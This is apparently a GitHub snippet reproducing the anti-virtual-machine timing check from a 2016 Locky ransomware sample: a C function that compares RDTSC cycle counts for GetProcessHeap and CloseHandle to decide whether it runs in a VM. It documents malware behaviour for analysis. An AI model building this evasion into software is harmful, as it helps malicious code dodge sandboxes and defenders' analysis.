You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
/* This is the Locky anti-VM code from 21 June 2016 (sample SHA1 25f8f920f946887e0fa86ea46842f8e3f4506f53) Some VM products may behave significantly differently to a real system with regards to timing of code execution. GetProcessHeap() may take significantly longer in a VM than a real env. Virtualised TSCs can also be problematic. Multiple processor cores assigned to a VM may also worsen this problem. See http://blog.badtrace.com/post/rdtsc-x86-instruction-to-detect-vms/ */BOOLpassVMCheck()
{
unsigned __int64tsc1;
unsigned __int64tsc2;
unsigned __int64tsc3;
inti=0;
// Try this 10 times in case of small fluctuationsfor (i=0; i<10; i++)
{
tsc1=__rdtsc();
// Waste some cycles - should be faster than CloseHandle on bare metalGetProcessHeap();
tsc2=__rdtsc();
// Waste some cycles - slightly longer than GetProcessHeap() on bare metalCloseHandle(0);
tsc3=__rdtsc();
// Did it take at least 10 times more CPU cycles to perform CloseHandle than it took to perform GetProcessHeap()?if ( ( LODWORD(tsc3) -LODWORD(tsc2) ) / ( LODWORD(tsc2) -LODWORD(tsc1) ) >= 10)
return TRUE;
}
// We consistently saw a small ratio of difference between GetProcessHeap and CloseHandle execution times// so we're probably in a VM!return FALSE;
}
The text was updated successfully, but these errors were encountered:
The text was updated successfully, but these errors were encountered: